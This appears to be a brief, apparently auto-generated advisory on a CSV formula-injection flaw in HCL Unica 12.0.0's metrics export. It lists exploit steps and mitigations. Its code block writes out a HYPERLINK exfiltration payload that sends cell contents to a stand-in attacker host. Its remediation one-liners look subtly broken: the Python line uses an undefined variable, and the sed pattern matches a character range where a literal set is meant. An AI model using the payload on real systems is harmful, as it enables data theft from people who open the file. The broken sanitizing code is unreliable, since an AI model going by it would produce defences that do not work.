Listen to this Post
How the CVE Works:
This CVE is a CSV formula injection vulnerability in HCL Unica’s metrics export feature. When user-controlled data is improperly sanitized before being included in a generated CSV file, formulas can be injected. A malicious actor could craft a payload starting with characters like =, +, -, or @. When the CSV file is opened in a spreadsheet application like Microsoft Excel, these cells are interpreted as executable formulas. This allows for arbitrary command execution within the context of the spreadsheet, potentially leading to data exfiltration, corruption, or further attacks against the user opening the file, by leveraging functions that can call external resources or execute scripts.
Platform: HCL Unica
Version: 12.0.0
Vulnerability: CSV Formula Injection
Severity: Critical
date: 11/28/2025
Prediction: Patch expected Q1 2026.
What Undercode Say:
echo "=HYPERLINK(\"http://malicious.site/exfil?\"&A1, \"Click\")" > payload.csv
cat user_input.csv | sed 's/^[=+-@]/"&/' > sanitized.csv
python3 -c "import csv; csv.writer(open('safe.csv','w')).writerow(['\"' + cell + '\"' for cell in row])"
How Exploit:
1. Attacker inputs formula payload into Unica field.
2. Victim administrator exports metrics to CSV.
3. Victim opens CSV in Excel.
4. Formula executes, contacting attacker server.
Protection from this CVE:
1. Implement CSV output encoding.
2. Prepend apostrophes (‘) to formula cells.
3. Enclose all fields in quotes.
4. User education on safe file handling.
Impact:
Data exfiltration, spreadsheet compromise, initial access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
